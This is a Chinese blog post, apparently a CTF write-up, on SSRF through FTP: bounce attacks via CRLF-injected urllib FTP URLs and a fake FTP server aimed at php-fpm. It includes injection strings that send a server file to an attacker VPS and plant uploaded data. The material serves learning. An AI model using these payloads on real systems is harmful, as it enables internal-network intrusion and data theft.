针对FTP的SSRF攻击
前言
ssrf
中常用的协议有http
,gopher
等。但http
协议在ssrf
中的用处也仅限于访问内网页面,在可以crlf
的情况下才有可能扩大攻击范围。gopher
协议比较特殊,在部分环境下支持此协议,如:curl
。但还有一些环境就不支持了,如:urllib.request
模块。
但最近的laravel
框架的rce吸引了我的注意力。此上面提供的文章中,研究员在可使用的协议受到约束的条件下,选择使用ftp
协议攻击php-fpm
以达到rce
。出于此,笔者决定探究ftp
协议在ssrf
中都有哪些应用。
ftp的两种模式
ftp
协议是文件传输协议,其使用模式有两种:
- 主动模式
主动模式下,客户端向服务端发送连接请求命令PORT a,a,a,a,b,c
,其中a
是客户端ipv4
的地址,b
和c
记录了一个由客户端开放的端口(b×256)+c
。随后服务端尝试连接客户端指定的地址。连接成功后,两者开始进行文件的传输。
但由于客户端由于防火墙等原因,导致服务端无法连接至客户端。为了解决这个问题,诞生了另一种模式。
- 被动模式
被动模式下,客户端向服务端发送连接请求命令PASV
,随后服务端返回一个类似于右边字符串的响应227 Entering passive mode (a,a,a,a,b,c).
,告诉客户端连接对应的地址进行文件传输。
发现了吗?在上面的命令中a, b, c
如果可以受到我们控制,不就可以达到ssrf
的效果了吗?
对ftp server进行ssrf
在刚刚结束的starctf
中,其中一题oh-my-bet
便是用到了主动模式下的ftp
进行ssrf
,发送二进制数据至mongoDB
更改数据库中数据。
以下是原题目中使用pyftpdlib
模块搭建于内网中的ftp server
。
# import logging
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServerauthorizer = DummyAuthorizer()authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")handler = FTPHandler
handler.permit_foreign_addresses = True #<-- 此句很重要,原因后说
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer# logging.basicConfig(level=logging.DEBUG) <-- 在测试时加入此句方便dubugserver = FTPServer(("0.0.0.0", 8877), handler)
server.serve_forever()
除ftp server
,还有一个存在于内网的mongoDB
,用于储存flask-session
的pickle
序列化数据。以及一个内网mysql
用于储存用户数据。最后是向公网开放的flask web server
。
原题目中存在一个参数可控的urllib.request.urlopen(value)
,且python
版本3.6,存在crlf
漏洞。
题目最后要求rce
。唯一有可能的突破点,是储存在mongoDB
中的flask-session
序列化数据。但如果使用http
协议crlf
传输mongoDB
的数据是不行的,会被mongoDB
拒绝连接。gopher
协议不被urllib.request.urlopen(value)
支持。所以最终着眼于ftp
协议。
本文为讲解ftp
在ssrf
中的应用,简化上面环境,假设ftp-server.py
所在目录有以下文件。
先在urllib
中连接尝试读取文件。
urllib
在成功连接控制端口后,会发送url
中的用户名与密码,因此可以在密码后crlf
,注入其它命令。
以下代码会发送ftp-server.py
文件至自己vps
的2333端口。
ur.urlopen("ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nRETR ftp-server.py\r\n@172.17.0.1:8877/ftp-server.py").read()
既然都可以上传至自己vps
上的指定端口,那么就可以将其改为内网的任意ip
与端口。
ip
可控,接下来就是如何控制内容了。
正常情况下,单凭urlopen
是无法上传文件的,但因为存在crlf
漏洞,我们可以轻易上传文件。
使用以下代码,可以告诉服务器:从自己vps
的2333端口获取test
文件,并保存。
ur.urlopen("ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nSTOR test\r\n@172.17.0.1:8877/").read()
这里可以简单写一个socket
监听。
import sockets = socket.socket()
s.bind(("0.0.0.0", 2333))
s.listen()c, a = s.accept()
print(a)
c.send(b'\x02\x03\x03')
c.close()
s.close()
成功上传。
上面是对ftp server
进行ssrf
,但在真实情况下就不太可能出现了。这种攻击被称为FTP bounce attack
,是一种比较老旧的攻击方式,现在的ftp server
都会禁止这一行为。但在此题中handler.permit_foreign_addresses = True
,让这种攻击变为可能。
对ftp client进行ssrf
回到开头所说的laravel debug rce
。
根据原文,在模块中有以下抽象过的代码。
$data = file_get_contents($file);
file_put_contents($file, $data);
文章首先给出的方法是利用php
伪协议清空log
文件,然后写入phar
数据,再使用phar
协议达成反序列化。但还有一个方法,文章没有细说,就是使用ftp
协议攻击php-fpm
。
那么具体思路如下:
php
从我们的ftp server
获取payload
,存入变量中。php
上传文件时,将被动模式的连接地址改为php
所在服务器的内网地址,上传payload
攻击。
我们先看一看php
的文件类函数是如何发送ftp
请求的。
依然是利用上面pyftpdlib
模块的脚本开启ftp
服务。在命令行使用:
php -r '$data = file_get_contents(\'ftp://fan:root@127.0.0.1:8877/test\');file_put_contents(\'ftp://fan:root@127.0.0.1:8877/test\', $data);'
查看ftp
服务日志。(这里仅列出关键信息)
; php获取文件
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18486-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 213 4
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- EPSV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 500 'EPSV': command not understood.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- RETR /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 150 File status okay. About to open data connection.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 226 Transfer complete.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- QUIT
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 221 Goodbye.; php上传文件
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18488-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 213 4
在这里,php
先使用SIZE
命令确认文件是否存在,然后使用了EPSV
命令,这个命令含义是启用扩展被动模式。ftp server
将指返回端口,但不返回ip
。解决方法很简单,找一个不支持这个扩展的服务器就行。这里笔者是修改了pyftpdlib
模块的源码,使其返回500 'EPSV': command not understood.
。
综合上面信息,有两个难点:
php
获取和上传的是同一个文件,file_put_contents
会检测文件是否已经存在,如果存在则不会进行上传操作。因此需要在php
获取文件后的瞬间删除该文件。- 一般
ftp client
都使用被动模式。php
获取文件时,要求被动模式返回ftp server
自己的地址。但php
上传文件时,返回的却是php
所在服务器的内网地址。
很明显,上面的问题套用一般的轮子很难解决。因为ftp
协议本身的交互没有那么复杂。所以尝试做一个fake ftp server
(https://gitlab.in.starcross.cn/AFKL/laravel-debug-ftp-ssrf)。
这里尝试将一个test
字符串从外网,通过php
的ftp client
发送至php
所在服务器内网的2333端口。
效果如下:
总结
ftp
可以在ssrf
中起到作用,其原因便是PORT
和PASV
两个命令导致的连接跳转。把握此点,便可使ftp
在漏洞利用中大放异彩!
相关文章:

针对FTP的SSRF攻击
前言 ssrf中常用的协议有http,gopher等。但http协议在ssrf中的用处也仅限于访问内网页面,在可以crlf的情况下才有可能扩大攻击范围。gopher协议比较特殊,在部分环境下支持此协议,如:curl。但还有一些环境就不支持了&a…...

线性代数中涉及到的matlab命令-第一章:行列式
目录 1,逆序数 2,行列式定义和性质 2.1,常用特性及命令 2.2,求行列式 2.3,行列式的性质 2,行列式按行(列)展开 3,范德蒙德行列式 在学习线性代数过程中&#…...

QT编程,QT内存管理、信号与槽、
目录 一、QT工具 二、QT内存管理 三、信号与槽 1、信号与槽特点 2、信号 3、槽函数 4、连接 5、发送信号 6、取消连接 一、QT工具 1、Qt Designer:界面设计编辑工具 2、Qt Assistant: Qt技术文档浏览器 3、Qt Linguist: 国际化语言翻译工具 4、…...

springcloud之项目实战环境准备
写在前面 为了更好的学习springcloud,我们来一起开发一个实战项目,加深理解。 1:项目介绍 在开始项目实战之前先来做一个整体的项目介绍,从而能够让对项目的整体架构和模板有一个比较清晰的认知。 大家都知道双11,…...

Linux 部署 MinIO 分布式对象存储 配置为 typora 图床
前言 MinIO 是一款高性能的对象存储系统,它可以用于大规模的 AI/ML、数据湖和数据库工作负载。它的 API 与Amazon S3 云存储服务完全兼容,可以在任何云或本地基础设施上运行。MinIO 是开源软件,也提供商业许可和支持 MinIO 的特点有&#x…...

JVM Optimization Learning(四)
目录 一、调优 1、基础概念 2、什么是调优? 3、调优,从规划开始 4、调优案例 一、调优 1、基础概念 吞吐量:用户代码执行时间 /(用户代码执行时间 垃圾回收时间) 响应时间:STW越短,响应…...

新华三辅导笔记 2023/10/9-2023/10/13
新华三辅导笔记 一、需要用到的软件二、计算机网络概述1、计算机网络的定义和基本功能(1)什么是计算机网络(2)计算机网络的基本功能 2、(1)局域网、城域网和广域网(范围划分)&#x…...

边坡安全监测系统的功能优势
随着科技的进步,边坡安全监测系统在各种工程项目中发挥着越来越重要的作用。这款系统通过实时监测垂直、水平位移数据,以折线图的方式显示在监控平台中,为工程人员提供了直观、便捷的监控工具,从而能够及时掌握边坡稳定状况&#…...

【架构】研发高可用架构和系统设计经验
研发高可用架构和系统设计经验 从研发规范层面、应用服务层面、存储层面、产品层面、运维部署层面、异常应急层面这六大层面去剖析一个高可用的系统需要有哪些关键的设计和考虑。 一、高可用架构和系统设计思想 1.可用性和高可用概念 可用性是一个可以量化的指标,计算的公…...

Linux线程安全
线程安全 Linux线程互斥进程线程间的互斥相关背景概念互斥量mutex互斥量的接口互斥量实现原理探究 可重入VS线程安全概念常见的线程不安全的情况常见的线程安全的情况常见的不可重入的情况常见的可重入的情况可重入与线程安全联系可重入与线程安全区别 常见锁概念死锁死锁的四个…...

Windows安装Node.js
1、Node.js介绍 ①、Node.js简介 Node.js是一个开源的、跨平台的JavaScript运行环境,它允许开发者使用JavaScript语言来构建高性能的网络应用程序和服务器端应用。Node.js的核心特点包括: 1. 事件驱动: Node.js采用了事件驱动的编程模型,通…...

想要开发一款游戏, 需要注意什么?
开发一款游戏是一个复杂而令人兴奋的过程。游戏开发是指创建、设计、制作和发布电子游戏的过程。它涵盖了从最初的概念和创意阶段到最终的游戏发布和维护阶段的各个方面。 以下是一些需要注意的关键事项: 游戏概念和目标: 确定游戏开发的核心概念和目标…...

横向AlGaN/GaN基SBD结构及物理模型数据库的开发
GaN基功率器件凭借其临界电场高、电子饱和漂移速度大、热导率高等优良性能在大功率快充、充电桩、新能源汽车等领域具备广泛应用空间。为进一步助推半导体高频、高功率微电子器件的发展进程,天津赛米卡尔科技有限公司技术团队依托先进的半导体TCAD仿真平台成功开发出…...

使用安卓Termux+Hexo,手机也能轻松搭建个人博客网站
文章目录 前言1.安装 Hexo2.安装cpolar3.远程访问4.固定公网地址5.结语 前言 Hexo 是一个用 Nodejs 编写的快速、简洁且高效的博客框架。Hexo 使用 Markdown 解析文章,在几秒内,即可利用靓丽的主题生成静态网页。 下面介绍在Termux中安装个人hexo博客并…...

Spring在业务中常见的使用方式
目录 通过IOC实现策略模式 通过AOP实现拦截 通过Event异步解耦 通过Spring管理事务 通过IOC实现策略模式 很多时候,我们需要对不同的场景进行不同的业务逻辑处理举个例子,譬如不同的场景需要不同支付方式,普通的逻辑是使用if-else&#x…...

PyTorch 深度学习实战
文章目录 前言1. 环境安装1.Anaconda2.pytorch cuda 环境3.测试 前言 1. 环境安装 1.Anaconda 可以参考这里:Anaconda学习 2.pytorch cuda 环境 我是按照下面的博客一步步完成,亲测有效 Pytorch安装教程(最全最详细版) 我的…...

学生用RockyLinux9.2模板虚拟机说明
“RockyLinux9.2”模板虚拟机下载地址 链接:https://pan.baidu.com/s/1xcakszIQ7Kp9Nw_NA9Znlg?pwdqzmm 提取码:qzmm 1.模板机是基于“Rocky-9.2-x86_64-minimal.iso”安装 2.模板机是2023.10.10执行dnf update && dnf upgrade更新和升级软件…...

BUUCTF reverse3 1
先运行下 看来是输入正确的flag 使用DIE查看文件 看起来没有壳,直接IDA打开 shift F12查找字符串 一路跟踪 到汇编窗口后F5 这里对Destination和Str2进行比较,Str2有值那么Str2就是经过上面一系列处理之后得到的内容了 继续分析上面的代码 根据…...

关于webWorker未解问题
今天尝试学习webworker,尝试在vue3项目里面使用 使用的就是常规方法,使用worker-loader,加上在vue.config.js内部添加配置 使用完发现问题 如图所见,该worker仅仅配置点击后传输字符串"1",并在worker内部打印,发现打印不出来 但是仅仅只是将引入的文件换个名字 …...

自然语言处理(NLP)的开发框架
自然语言处理(NLP)领域有许多开源的框架和库,用于处理文本数据和构建NLP应用程序。以下是一些常见的NLP开源框架及其特点,希望对大家有所帮助。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合…...

Spring Boot与Kubernetes结合:构建高可靠、高性能的微服务架构
Spring Boot和Kubernetes(K8s)是当今非常热门的技术,它们的结合可以帮助开发者更高效地构建、部署和管理应用程序。本文将详细介绍Spring Boot和Kubernetes的主要特点,以及它们结合使用的优势。 一、Spring Boot的特点 Spring B…...

Qt自带的日志重定向机制
//Qt5开始提供了日志上下文信息输出,比如输出当前打印消息所在的代码文件、行号、函数名等。 //如果是release还需要在pro中加上 DEFINES QT_MESSAGELOGCONTEXT 才能输出上下文,默认release关闭的。 //切记不要在日志钩子函数中再写qdebug之类的&#x…...

笔记36:CNN的多通道卷积到底是什么样的
总结: (1)输入卷积层的feature_map的通道数,就是该卷积层每个卷积核所含有的通道数 (2)输出卷积层的feature_map的通道数,就是该卷积层所含有的卷积核的个数 a a a a 解释:【…...

【eigen】解决报错 return type of RCmpEQReturnType Eigen::operator== is not ‘bool’
文章目录 1. 发现问题2. GPT 分析问题3. 解决问题 1. 发现问题 在 c 项目中使用了 C 20 编译标准(GCC10),结果 eigen 中出现报错 /usr/include/eigen3/Eigen/src/Cholesky/LDLT.h:372:58: error: return type of ‘const RCmpEQReturnType …...

QT 实现mysql的长连接
以下是一个使用Qt进行MySQL长连接的示例程序: #include <QCoreApplication> #include <QSqlDatabase> #include <QSqlQuery> #include <QDebug>class MySQLConnection :...

Vue 使用 setup 语法糖
setup 语法糖在书写上更加方便简洁,可以直接在 script 标签中书写 setup 的内容,并且无需使用 return 返回。 基础使用: <script setup></script> 注:setup 语法糖中不能存在 export default {} ,否则会…...

Feign(替代RestTemplate)远程调用
Feign初步学习 定义 Feign 是一个基于 Java 的 HTTP 客户端库,它是 Spring Cloud 中的一部分,用于简化微服务之间的 HTTP 通信。与传统的使用 RestTemplate 来调用 RESTful 服务不同,Feign 提供了一种声明式、基于接口的方式来定义和调用 H…...

查找算法 —— 斐波拉契查找法
一、介绍 斐波拉契查找法是以分割范围进行查找的,分割的方式是按照斐波拉契级数的方式来分割。好处是:只用到加减运算,计算效率较高一些。 要使用斐波拉契查找首先需要定义一颗斐波拉契查找树,建立规则如下: 1.斐波拉契…...

PL/SQL全量同步
全量同步 -- 实现逻辑:用源表的数据直接覆盖目标表 -- 插入数据前:先清空目标表,然后查询源表的数据,插入目标表 -- 1. 先创建一个目标表 CREATE TABLE EMP_T AS SELECT E.*, SYSDATE CREATE_DATE, SYSDATE UPDATE_DATE, SYSDATE ETL_DATE FROM EMP E WHERE 12;SELECT * FR…...

IO类型游戏研发定制开发
"IO" 类型的游戏开发通常是指那些在线多人游戏,其特点是快节奏、实时互动和简单的玩法。这些游戏的名字通常以 ".io" 结尾,如 "Agar.io"、"Slither.io" 等。如果您有兴趣进行 "IO" 类型游戏的研发或提…...